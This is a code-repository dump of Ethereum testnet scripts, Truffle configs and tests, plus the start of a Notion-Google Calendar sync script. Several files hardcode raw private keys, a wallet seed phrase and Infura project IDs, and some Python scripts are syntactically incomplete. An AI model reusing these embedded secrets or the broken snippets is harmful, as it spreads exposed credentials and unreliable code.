"detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 271, "license_type": "no_license", "max_line_length": 118, "num_lines": 7, "path": "/newToken/migrations/2_initial_token.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var Scoin = artifacts.require(\"./Scoin.sol\");\nvar Crowdexample = artifacts.require(\"./Crowdexample.sol\");\nmodule.exports = function(deployer)\n{ \n deployer.deploy(Scoin).then(function (){return deployer.deploy(Crowdexample,1,web3.eth.accounts[0],Scoin.address)});\n \n};" }, { "alpha_fraction": 0.48891481757164, "alphanum_fraction": 0.5921820402145386, "avg_line_length": 31.865385055541992, "blob_id": "88ce182207631f5568a98efb5607ca93d2e96f2a", "content_id": "ee1b4d6d3199b9e77e9ffd293548a184f0b3ee80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1714, "license_type": "no_license", "max_line_length": 112, "num_lines": 52, "path": "/contract_interact_js/communications/tx.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var Web3 = require('web3');\nvar Tx = require('ethereumjs-tx');\n\nweb3 = new Web3(new Web3.providers.HttpProvider('https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg'));\nvar privateKey1;\nvar address1;\nvar address2;\n\nif (process.argv[2]== \"fran\")\n{\n var address1 = \"0x031E5c3f81B599A1fA39d7CF2c894DDE59eaB968\";\n var address2 = \"0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c\"; \n privateKey1 = new Buffer.from(\"2bb81f65d18350d4ec288e06a7aa81baf283c2a5543f0edbb04ba3c648225cf2\",\"hex\")\n}\nelse if(process.argv[2]==\"manu\")\n{\n \n var address1 = \"0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c\"; \n var address2 = \"0x031E5c3f81B599A1fA39d7CF2c894DDE59eaB968\";\n privateKey1 = new Buffer.from(\"5f00744254d7963a4b50dd4abd867b4838ddeb32d6b24327065fc4484a9eeaff\", \"hex\");\n}\n\nweb3.eth.getBlockNumber().then((bn) => {\n if(bn != undefined) console.log(\"Sending...\");\n});\nvar gp = web3.eth.getGasPrice().then((gasPrice) => {\n \n return web3.utils.toHex(gasPrice);\n});\nconst gasLimitHex = web3.utils.toHex(3000000);\ngp.then((gasPriceHex) => {\n var accounts = [address1, address2];\n \n \n web3.eth.getTransactionCount(address1).then((nonce) => {\n \n var rawTx = {\n from:accounts[0],\n nonce: nonce,\n gasPrice: gasPriceHex,\n gasLimit: gasLimitHex,\n to: accounts[1],\n data: web3.utils.toHex(process.argv[3])\n };\n var tx = new Tx(rawTx);\n tx.sign(privateKey1);\n var serializedTx = tx.serialize();\n web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex')).then(console.log(\"sended\"));\n\n \n });\n });\n \n" }, { "alpha_fraction": 0.5132383108139038, "alphanum_fraction": 0.5478615164756775, "avg_line_length": 19.45833396911621, "blob_id": "2cbf3b79b934f6529dc83e643def1c1b3172148e", "content_id": "3c797ebdfe0541028e4971cbf7bc43b5be7d3f45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 491, "license_type": "no_license", "max_line_length": 170, "num_lines": 24, "path": "/newToken/truffle-config.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "module.exports = {\n networks: {\n networks:\n {\n development: {\n port: 9545,\n network_id:\"*\" ,\n host: \"localhost\"\n },\n localhost: {\n \n host: \"localhost\",\n port: 9545,\n network_id: \"*\"\n },\n ropsten: {\n provider: new HDWalletProvider(\"castle dwarf arrange case guide hello involve mom budget ethics scheme ribbon\", \"https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg\"),\n network_id: 3,\n gas: 4500000\n }\n \n }\n }\n};\n" }, { "alpha_fraction": 0.5413354635238647, "alphanum_fraction": 0.5604133605957031, "avg_line_length": 33, "blob_id": "1a51a1419f43772e6de044b54d38a8e34d5a47df", "content_id": "6cc5a4dc0f526a66bd1a34651a9af091dc09aa33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1258, "license_type": "no_license", "max_line_length": 108, "num_lines": 37, "path": "/millionPixels/test/pixel.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "const MillionPixel = artifacts.require(\"MillionPixel.sol\");\n\ncontract(\"MillionPixel\", async (accounts) => {\n\n it(\"Buying tiles\", async () => {\n var contract = await MillionPixel.deployed();\n var receipt = await contract.buySquare.sendTransaction(0,0,1,1,{value:web3.toWei('2','ether')});\n var data = await web3.eth.getTransactionReceipt(receipt);\n assert.equal(web3.toDecimal(data.logs[0].data),0);\n }); \n\n it(\"Modify square\",async () => {\n var contract = await MillionPixel.deployed();\n var ads = await contract.Advertises(0);\n assert(ads[0],accounts[0]);\n await contract.modifySquare(0,\"x\",\"y\",\"z\");\n var ads = await contract.Advertises(0);\n assert(ads[5],\"x\");\n assert(ads[6],\"y\");\n assert(ads[7],\"z\");\n });\n it(\"Should not be able to buy a previously bought tile\", async () => {\n var contract = await MillionPixel.deployed();\n var error;\n try\n {\n var receipt = await contract.buySquare.sendTransaction(0,0,1,1,{value:web3.toWei('2','ether')});\n error=false; \n }\n catch(err)\n {\n error=true;\n }\n await assert.equal(error,true);\n }); \n \n});\n" }, { "alpha_fraction": 0.6577181220054626, "alphanum_fraction": 0.6711409687995911, "avg_line_length": 28.600000381469727, "blob_id": "015aff7bc3fdead7d51e263f91a72b5d714a93ed", "content_id": "2c53fe81dc0b7c72bdf5eea33fe55a4dd1c13e7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 298, "license_type": "no_license", "max_line_length": 155, "num_lines": 10, "path": "/blockChat/engine/backend/getCode.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "\n\n/*\nvar code=\"\";\nvar estimatedWei=\"\";\nvar receiveAddress=\"\";\nfor(i=0;i<10;i++)\n{\n code=code+Math.floor(Math.random()*Math.floor(9));\n}\n*/\n//document.getElementById(\"code\").innerHTML=\"Expecting to receive \"+estimatedWei+\" wei <br> on this address: \"+receiveAddress+\"<br> with this code: \"+code;\n" }, { "alpha_fraction": 0.7094017267227173, "alphanum_fraction": 0.7094017267227173, "avg_line_length": 22.399999618530273, "blob_id": "812a3e0c3222f08108d13c82297507fcc6294447", "content_id": "31d87c37f2942d33621961667e781f1990723d21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 117, "license_type": "no_license", "max_line_length": 47, "num_lines": 5, "path": "/pruebas/migrations/caller.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var caller = artifacts.require(\"./caller.sol\");\n\nmodule.exports = function(deployer) {\n deployer.deploy(caller);\n};\n" }, { "alpha_fraction": 0.7094017267227173, "alphanum_fraction": 0.7094017267227173, "avg_line_length": 22.399999618530273, "blob_id": "c1b287de053d4e2814cd9de452f8ddfaad8a4fbf", "content_id": "77b85ee40a1e948531c2d56c0bad43685929e9bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 117, "license_type": "no_license", "max_line_length": 47, "num_lines": 5, "path": "/firstContract/migrations/2_initial_picker.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var Picker = artifacts.require(\"./Picker.sol\");\n\nmodule.exports = function(deployer) {\n deployer.deploy(Picker);\n};\n" }, { "alpha_fraction": 0.5714285969734192, "alphanum_fraction": 0.609099805355072, "avg_line_length": 39, "blob_id": "f1a26799da824dc0547856f75daf6f07c4508e51", "content_id": "f41e50a3945703b128fed3af5c90b36403e7e24a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2044, "license_type": "no_license", "max_line_length": 119, "num_lines": 51, "path": "/contract_interact_js/deploying-transaction.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "//this script deploys a contract throught transaction\nconst Web3 = require('web3');\nconst solc = require('solc');\nconst fs = require('fs');\nconst Tx = require('ethereumjs-tx');\nweb3 = new Web3(new Web3.providers.HttpProvider('https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg'));\n\nvar fileName =\"./\"+\"test.sol\";\nvar contractName=\"test\";\nvar compiledInstance=solc.compile(fs.readFileSync(fileName).toString());\nvar contractAbi = JSON.parse(compiledInstance.contracts[':'+contractName].interface);\nvar bytecode = compiledInstance.contracts[':'+contractName].bytecode;\n\nvar contractModel= web3.eth.contract(contractAbi);\nvar instance = contractModel.at(\"0xbd1c30a4da8a4a07bb8c19e6e2692f18cbe930f6\");\n\nvar address1 = \"0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c\";\nvar privateKey1 = new Buffer.from(\"5f00744254d7963a4b50dd4abd867b4838ddeb32d6b24327065fc4484a9eeaff\", \"hex\");\n\nvar receipt;\n\nweb3.eth.getBlockNumber().then((bn) => {\n if(bn != undefined) console.log(\"Connected to ropsten..\");\n});\nvar gp = web3.eth.getGasPrice().then((gasPrice) => {\n console.log(\"Gas price: \" + gasPrice);\n return web3.utils.toHex(gasPrice);\n});\nconst gasLimitHex = web3.utils.toHex(3000000);\ngp.then((gasPriceHex) => {\n var accounts = [address1, address2];\n \n \n web3.eth.getTransactionCount(address1).then((nonce) => {\n console.log(\"TX nonce \" + nonce);\n console.log(\"Gas Price : \" + parseInt(gasPriceHex));\n console.log(\"Gas Limit : \" + parseInt(gasLimitHex));\n \n var rawTx = { //note that no address is provided as \"to\"\n nonce: nonce,\n gasPrice: gasPriceHex,\n gasLimit: gasLimitHex,\n data: \"0x\" +bytecode\n }; \n var tx = new Tx(rawTx);\n tx.sign(privateKey1);\n var serializedTx = tx.serialize();\n web3.eth.sendSignedTransaction('0x' + serializedTx.toString('hex')).on('receipt', function(e){e.log;});\n \n });\n });\n " }, { "alpha_fraction": 0.5208940505981445, "alphanum_fraction": 0.5860058069229126, "avg_line_length": 27.61111068725586, "blob_id": "cef13071a5e850602dda8ca039b8d52518d42e3b", "content_id": "716142e904823aab316785ed5604935234c5f66c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1029, "license_type": "no_license", "max_line_length": 100, "num_lines": 36, "path": "/contract_interact_py/sending_transaction.py", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "import sys\nfrom web3 import Web3\nnode=\"https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg\"\nweb3 = Web3(Web3.HTTPProvider(node))\nurl=[]\naccounts=[\"0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c\",\"0xAcad03778f6D0c871D1717f6CAF74330Fd371f8f\"]\npvKeys=[\"5f00744254d7963a4b50dd4abd867b4838ddeb32d6b24327065fc4484a9eeaff\",\"e38a2fddc8e23842bcba76adda80c3bd8284aadf8d92b077c0a400ecb1f9c75f\"]\ntry:\n if(web3.eth.blockNumber != 0):\n node=node.split(\"//\")\n for n in node:\n token=n.split(\"/\")\n for i in token:\n url.append(i)\n for n in url:\n if (\".\" in n):\n name=n\n print (\"Connected to \"+name+\" node\")\n else:\n raise Exception (\"Couldn't connect\")\nexcept Exception as e:\n sys.exit(\"ERROR CONNECTING TO NODE: \"+ e)\nweb3.eth.\ntry:\n options={\n \"nonce\":web3.eth.getTransactionCount(accounts[0]),\n \"to\":accounts[1],\n \"from\": accounts[0],\n \"value\": 1,\n \"gasPrice\":web3.eth.gasPrice,\n \"gasLimit\": ,\n \n }\n web3.eth.sendTransaction(options)\nexcept Exception as e: \n sys.exit(\"ERROR SENDING TRANSACTION: \"+e)" }, { "alpha_fraction": 0.6190195083618164, "alphanum_fraction": 0.6361488699913025, "avg_line_length": 29.241071701049805, "blob_id": "cdb4aa1ee6bb475041f423b93e8b2b7fd662da4a", "content_id": "417cccdbf10cbf29e7c46faf4f01392d534bfd8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3386, "license_type": "no_license", "max_line_length": 124, "num_lines": 112, "path": "/contract_interact_py/test_contract.py", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "from web3 import *\nimport pytest\nimport os\nWEB3=\"session\"\nimport json\n\n\n\n\n\n\[email protected](scope=WEB3)\ndef instance_web3():\n web3 = Web3(HTTPProvider('http://localhost:8545'))\n return web3\n\[email protected](scope=WEB3)\ndef abi():\n with open('/home/fscucchiero/Desktop/git/SmartContract_dev/xapo-exchange/build/ExchangeToken.abi', 'r') as content_file:\n abi = content_file.read()\n with open('/home/fscucchiero/Desktop/git/SmartContract_dev/xapo-exchange/build/ExchangeToken.bin', 'r') as content_file:\n bytecode = content_file.read()\n contract=(abi,bytecode)\n return contract\n\[email protected](scope=WEB3)\ndef instance_contract(instance_web3,abi):\n\n # set pre-funded account as sender\n instance_web3.eth.defaultAccount = instance_web3.eth.accounts[0]\n\n # Instantiate and deploy contract\n contract = instance_web3.eth.contract(abi=abi[0], bytecode=abi[1])\n\n # Submit the transaction that deploys the contract\n tx_hash = contract.constructor().transact()\n\n # Wait for the transaction to be mined, and get the transaction receipt\n tx_receipt = instance_web3.eth.waitForTransactionReceipt(tx_hash)\n\n # Create the contract instance with the newly-deployed address\n greeter = instance_web3.eth.contract(\n address=tx_receipt.contractAddress,\n abi=abi[0],\n )\n return greeter\n # web3=instance_web3\n # tx_hash = web3.eth.contract(abi=abi[0],bytecode=abi[1]).deploy()\n \n # address = web3.eth.getTransactionReceipt(tx_hash)['contractAddress']\n # return address\n \n # coinbase = web3.eth.accounts[0]\n # options={\n # \"nonce\":web3.eth.getTransactionCount(coinbase),\n # \"from\": coinbase,\n # \"gasPrice\":web3.eth.gasPrice,\n # } \n # contractModel = web3.eth.contract(abi=abi[0], bytecode=abi[1])\n # print(contractModel.constructor())\n # data = contractModel.constructor().__dict__.get('data_in_transaction')\n #return data\n\n #print(data)\n #web3.eth.sendTransaction(data)\n \n\ndef test_01(instance_contract,instance_web3):\n print(instance_contract)\n \n# try:\n# if(web3.eth.blockNumber != 0):\n# node=node.split(\"//\")\n# for n in node:\n# token=n.split(\"/\")\n# for i in token:\n# url.append(i)\n# for n in url:\n# if (\".\" in n):\n# name=n\n# print (\"Connected to \"+name+\" node\")\n# else:\n# \n# except Exception as e:\n# sys.exit(\"ERROR CONNECTING TO NODE: \"+ e)\n# web3.eth.\n# try:\n# options={\n# \"nonce\":web3.eth.getTransactionCount(accounts[0]),\n# \"to\":accounts[1],\n# \"from\": accounts[0],\n# \"value\": 1,\n# \"gasPrice\":web3.eth.gasPrice,\n# \"gasLimit\": ,\n \n# }\n# web3.eth.sendTransaction(options)\n# except Exception as e: \n# sys.exit(\"ERROR SENDING TRANSACTION: \"+e)\n\n\n# def deployContract(instance_web3,getAbi):\n# print (getAbi[0])\n# print (getAbi[1])\n# assert 1==1\n# deploy_txn_hash = factory.constructor().transact(tx)\n# print('{0} deploy hash: '.format(name), deploy_txn_hash)\n# deploy_receipt = mine_tx(web3, deploy_txn_hash)\n# contract_address = deploy_receipt['contractAddress']\n# assert is_checksum_address(contract_address)\n# print('{0} deploy transaction mined. Contract address: '.format(name), contract_address)\n# return deploy_receipt" }, { "alpha_fraction": 0.580777108669281, "alphanum_fraction": 0.6359918117523193, "avg_line_length": 25.672727584838867, "blob_id": "c4f35e2491a64d7c9aa8ef41944d19be1753ed0a", "content_id": "d52bef7ddda282944257251b282ad3df2897de71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1467, "license_type": "no_license", "max_line_length": 162, "num_lines": 55, "path": "/contract_interact_js/communications/rx.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var Web3 = require('web3');\nvar Tx = require('ethereumjs-tx');\nconst r2 = require('r2')\nweb3 = new Web3(new Web3.providers.HttpProvider('http://pc9:8545'));\n//web3 = new Web3(new Web3.providers.HttpProvider('https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg'));\nif(process.argv[2] == \"manu\")\n{\n the_address=\"0x031E5c3f81B599A1fA39d7CF2c894DDE59eaB968\";\n}\nelse if(process.argv[2]==\"fran\")\n{\n the_address=\"0xAcad03778f6D0c871D1717f6CAF74330Fd371f8f\";\n}\n\n\n\nasync function getTransactionList(addr){\n \n let _url = \"http://api-ropsten.etherscan.io/api?module=account&action=txlist&address=\"+addr+\"&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken\";\n try{ \n let request_answer = await r2(_url).text;\n console.log(\"arrived\")\n return JSON.parse(request_answer).result\n }catch (e){ \n return request_answer;\n }\n }\n\n \nasync function toList(json)\n{\n var list= [];\n for(i=0;i<json.length;i++)\n {\n list.push(web3.utils.toAscii(json[i].input));\n } \n return list;\n}\nasync function printMesagges(list)\n{\n \n if(list.length<=0)\n {\n console.log(\"You have no messages\")\n }\n else\n {\n console.log(\"You have \"+list.length+\" messages\")\n for(i=0;i<list.length;i++)\n {\n console.log(\"Message number \"+i+\" is: \"+list[i]);\n }\n }\n}\ngetTransactionList(the_address).then(toList).catch(console.log).then(printMesagges).catch(console.log)\n" }, { "alpha_fraction": 0.4927203059196472, "alphanum_fraction": 0.7578544020652771, "avg_line_length": 31.649999618530273, "blob_id": "1edec3e5578d765210af7ef79a6aa8d5a37d7658", "content_id": "8f7a3b5098d8fbceff8e691176eab59599e434a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1305, "license_type": "no_license", "max_line_length": 322, "num_lines": 40, "path": "/contract_interact_js/calling-method.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "//this script calls a contract's method\n\nconst Web3 = require('web3');\nweb3=new Web3(new Web3.providers.HttpProvider('https://ropsten.infura.io/gVROUotOnxSTmy1sYfao'));\n\nconst ownerAddress = \"0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c\";\nconst contractAbi = [\n\t{\n\t\t\"constant\": true,\n\t\t\"inputs\": [],\n\t\t\"name\": \"say\",\n\t\t\"outputs\": [\n\t\t\t{\n\t\t\t\t\"name\": \"\",\n\t\t\t\t\"type\": \"string\"\n\t\t\t}\n\t\t],\n\t\t\"payable\": false,\n\t\t\"stateMutability\": \"pure\",\n\t\t\"type\": \"function\"\n\t}\n];\nvar contractAddress ='0x47014cae621dcb39c448c381e9e1a5603182a9e9';\n\nvar options = {\n from: ownerAddress,\n gas: 4000000,\n gasPrice: '30000000000000'\n };\n\n//the following code comes from compiling the contract and then getting the bytecode\t\t\nconst contractCode = \"0x608060405234801561001057600080fd5b5061013f806100206000396000f300608060405260043610610041576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063954ab4b214610046575b600080fd5b34801561005257600080fd5b5061005b6100d6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561009b578082015181840152602081019050610080565b50505050905090810190601f1680156100c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b60606040805190810160405280600481526020017f74686973000000000000000000000000000000000000000000000000000000008152509050905600a165627a7a723058207e5d5e197b09a8bbbd7ef8d8569954c08fc3190a5493a457edc45ffd44b621b70029\";\n\nconst MyContract = new web3.eth.Contract(contractAbi,contractAddress,options);\nMyContract.methods.say().call().then((result) =>{\nconsole.log(result);\n});\n\n//note that the owner account must be unlocked, otherwise you are looking for\n//a signed transaction" }, { "alpha_fraction": 0.6731016635894775, "alphanum_fraction": 0.6756756901741028, "avg_line_length": 25.827587127685547, "blob_id": "7dc873fad9d7ca6c479f18c5dcd1a903b642e971", "content_id": "fc94f5bc8c0c8aaf0a9ffd7aec79cae626e6a561", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 777, "license_type": "no_license", "max_line_length": 75, "num_lines": 29, "path": "/blockChat/engine/backend/index.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var addressFieldModified=false;\nvar textFieldModified=false;\n\n\nfunction changeStyle1()\n{\n if(addressFieldModified==false)\n {\n document.getElementById(\"addressField\").value = \"\";\n document.getElementById(\"addressField\").style.color = \"white\";\n document.getElementById(\"addressField\").style.fontStyle = \"normal\";\n addressFieldModified=true;\n }\n}\nfunction changeStyle2()\n{\n if(textFieldModified==false)\n {\n document.getElementById(\"textField\").value = \"\";\n document.getElementById(\"textField\").style.color = \"white\";\n document.getElementById(\"textField\").style.fontStyle = \"normal\";\n textFieldModified=true;\n }\n}\nfunction getCode()\n{\n console.log(\"hola\");\n document.getElementById(\"form\").submit();\n}" }, { "alpha_fraction": 0.504690408706665, "alphanum_fraction": 0.5891181826591492, "avg_line_length": 20.360000610351562, "blob_id": "075f919db652446e6177ef9470dd6997931e10ba", "content_id": "a53bce48769f8076d1c67d74c439b8fd731534d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 533, "license_type": "no_license", "max_line_length": 170, "num_lines": 25, "path": "/newToken/truffle.js", "repo_name": "scucchiero/SmartContract_dev", "src_encoding": "UTF-8", "text": "var HDWalletProvider = require(\"truffle-hdwallet-provider\");\n\nmodule.exports = {\n \n networks:\n { \n development: \n {\n from:'0x640E89e5F495f47415Eb27e1Ac05ae34E009dC2c',\n host: \"127.0.0.1\",\n port: 8545,\n network_id: \"*\",\n \n },\n \n ropsten: \n {\n provider: new HDWalletProvider(\"castle dwarf arrange case guide hello involve mom budget ethics scheme ribbon\", \"https://ropsten.infura.io/VDPJVXBhW7ruxTPjDagg\"),\n network_id: 3,\n gas: 4500000\n } \n \n }\n \n};" } ]
16
andreirbkn/notion-gcal-sync
https://github.com/andreirbkn/notion-gcal-sync
d6c898efa611a54d3863445ab4aad382933dcab4
a288d015ea668b9da2c532103e257244fc3f71d0
f811f913631fbef188c437927e4a6e88419124d4
refs/heads/main
2023-07-06T10:17:46.210682
2021-08-02T15:18:24
2021-08-02T15:18:24
338,587,861
0
0
null
2021-02-13T14:05:03
2021-02-15T04:12:31
2021-02-15T04:44:35
Python
[ { "alpha_fraction": 0.4953390657901764, "alphanum_fraction": 0.5004312992095947, "avg_line_length": 37.934993743896484, "blob_id": "c878e5ace06bc44796c3cb5a9022b4566df3e208", "content_id": "09e1f4d358ee557492ac6fab4791b98caae447f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 35937, "license_type": "no_license", "max_line_length": 140, "num_lines": 923, "path": "/main.py", "repo_name": "andreirbkn/notion-gcal-sync", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport datetime\nfrom dateutil import tz\nfrom dateutil.parser import parse\nimport pickle\nimport os\nimport pytz\nimport inspect\nimport time\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom notion.client import NotionClient\nfrom notion.collection import NotionDate\n\nimport notion_config as CONFIG\n\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = [\"https://www.googleapis.com/auth/calendar\"]\n\n\ndef gcal_auth():\n global creds\n \"\"\"Shows basic usage of the Google Calendar API.\n Prints the start and name of the next 10 events on the user\"s calendar.\n \"\"\"\n creds = None\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.json'):\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.json', 'w') as token:\n token.write(creds.to_json())\n\n main()\n\n\ndef main():\n\n # PREP DATA\n # ====================================================================================================\n global creds\n global google_calendar_ids\n global timezone\n global notion_table\n global notion_date_prop\n global notion_cal_prop\n global notion_del_prop\n global default_tz\n global default_cal\n\n # Number of days, from events would be loaded (0 - all)\n google_calendar_ids = {}\n notion_token_v2 = CONFIG.notion_token_v2\n notion_table = CONFIG.notion_table\n notion_date_prop = CONFIG.notion_date_prop\n notion_cal_prop = CONFIG.notion_cal_prop\n notion_del_prop = CONFIG.notion_del_prop\n default_tz = CONFIG.notion_default_timezone\n default_cal = CONFIG.google_def_cal\n\n debug = False\n\n last_sync = convert_datetime_timezone(\n datetime.datetime.utcnow() - datetime.timedelta(minutes=10), 'UTC', 'UTC')\n\n while(not False):\n\n\n api_loaded = False\n try:\n service = build('calendar', 'v3', credentials=creds)\n client = NotionClient(token_v2=notion_token_v2)\n api_loaded = True\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n\n if(api_loaded):\n # Call the Google API\n # ====================================================================================================\n google_res = {}\n\n page_token = None\n while True:\n calendar_list = service.calendarList().list(pageToken=page_token).execute()\n for calendar_list_entry in calendar_list['items']:\n google_calendar_ids[calendar_list_entry['summary']\n ] = calendar_list_entry['id']\n page_token = calendar_list.get('nextPageToken')\n if not page_token:\n break\n\n # get gcal recent rows by each calendar\n try:\n for calendar_name, calendar_id in google_calendar_ids.items():\n events_result = service.events().list(calendarId=calendar_id,\n updatedMin=((str(last_sync).replace(\n \" \", \"T\").split('.')[0]) + \"Z\"),\n singleEvents=True,\n orderBy=\"startTime\",\n showDeleted=True).execute()\n google_res[calendar_name] = events_result.get(\"items\", [])\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n\n google_events = []\n for cal_name, res_events in google_res.items():\n for gevent in res_events:\n if 'organizer' in gevent:\n new_event = google_ev_format(service, gevent=gevent)\n google_events.append(new_event)\n\n google_events_ids = [x['id'] for x in google_events]\n if debug:\n print(f\"[{datetime.datetime.now()}] \" +\n \"Google events amount:\" + str(len(google_events_ids)))\n\n # Call the Notion API\n # ====================================================================================================\n\n cv = client.get_collection_view(notion_table)\n\n # Run a \"sorted\" query (inspect network tab in browser for examples, on queryCollection calls)\n\n sort_params = [{\n \"direction\": \"descending\",\n \"property\": \"Lmsz\",\n }]\n\n # get rows from notion table\n notion_res = {}\n try:\n notion_res = cv.build_query(sort=sort_params).execute()\n #notion_res = cv.collection.get_rows()\n except Exception as e:\n print(\n f\"[{datetime.datetime.now()}] | {str(inspect.stack()[0][3])} \" + str(e))\n\n notion_events = []\n for nevent in notion_res:\n new_event = notion_ev_format(nevent=nevent)\n\n if (new_event[\"updated\"] > last_sync):\n notion_events.append(new_event)\n\n notion_events_ids = [x[\"id\"] for x in notion_events]\n if debug:\n print(f\"[{datetime.datetime.now()}] \" +\n \"Notion events amount:\" + str(len(notion_events_ids)))\n\n # SORT DATA\n # ====================================================================================================\n add_to_notion = [] # gev.id not in nevs\n add_to_google = [] # nev.id not in gevs and nev.start not null and nev.cal not null\n update_in_notion = [] # nev.id == gev.id and gev.upd < nev.upd\n update_in_google = [] # gev.id == nev.id and gev.upd > nev.upd\n # nev.id == gev.id and gev.stat == canceled and gev.upd > nev.upd\n delete_from_notion = []\n # nev.id == gev.id and nev.stat == canceled and gev.upd < nev.upd\n delete_from_google = []\n restore_from_google = []\n restore_from_notion = []\n\n for nev in notion_events:\n gev = google_ev_search(service, nev)\n\n if(gev == None):\n if (nev[\"start\"] != None and nev[\"calendar\"] != None and not nev[\"deleted\"]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"GOOGLE MISSING EVENT - {nev['calendar']} | [{nev['title']}] | {nev['start']} to {nev['end']}\")\n add_to_google.append(nev)\n else:\n gev = google_ev_format(service, gev)\n if (not gev[\"deleted\"] and not nev[\"deleted\"]):\n if compare_evs(nev, gev):\n if(nev[\"updated\"] > gev[\"updated\"]):\n update_in_google.append(nev)\n else:\n if (nev[\"deleted\"] == True and gev[\"deleted\"] == False and nev[\"updated\"] > gev[\"updated\"]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"GOOGLE EVENT TO DELETE - {nev['calendar']} | [{nev['title']}] | {nev['start']} to {nev['end']}\")\n delete_from_google.append(nev)\n if (nev[\"deleted\"] == False and gev[\"deleted\"] == True) and (nev[\"updated\"] > gev[\"updated\"]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"GOOGLE EVENT TO RESTORE - {nev['calendar']} | [{nev['title']}] | {nev['start']} to {nev['end']}\")\n restore_from_google.append(nev)\n\n for gev in google_events:\n nev = notion_ev_search(client, gev)\n\n if nev is None:\n a = 1\n # if (gev[\"start\"] != None and gev[\"calendar\"] != None and not gev[\"deleted\"]):\n # print(f\"[{datetime.datetime.now()}] \" +\n # f\"NOTION MISSING EVENT - {gev['calendar']} | [{gev['title']}] | {gev['start']} to {gev['end']}\")\n # add_to_notion.append(gev)\n else:\n nevf = notion_ev_format(nev)\n if (not gev[\"deleted\"] and not nevf[\"deleted\"]):\n if compare_evs(nevf, gev):\n if(gev[\"updated\"] > nevf[\"updated\"]):\n update_in_notion.append(gev)\n else:\n if (nevf[\"deleted\"] == False and gev[\"deleted\"] == True and gev[\"updated\"] > nevf[\"updated\"]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"NOTION EVENT TO DELETE - {gev['calendar']} | [{gev['title']}] | {gev['start']} to {gev['end']}\")\n delete_from_notion.append(nev)\n if (nevf[\"deleted\"] == True and gev[\"deleted\"] == False) and (gev[\"updated\"] > nevf[\"updated\"]):\n print(f\"[{datetime.datetime.now()}] \" +\n f\"NOTION EVENT TO RESTORE - {gev['calendar']} | [{gev['title']}] | {gev['start']} to {gev['end']}\")\n restore_from_notion.append(nev)\n\n if debug:\n print(f\"[{datetime.datetime.now()}] \" +\n \"Add to Google: \" + str(len(add_to_google)))\n 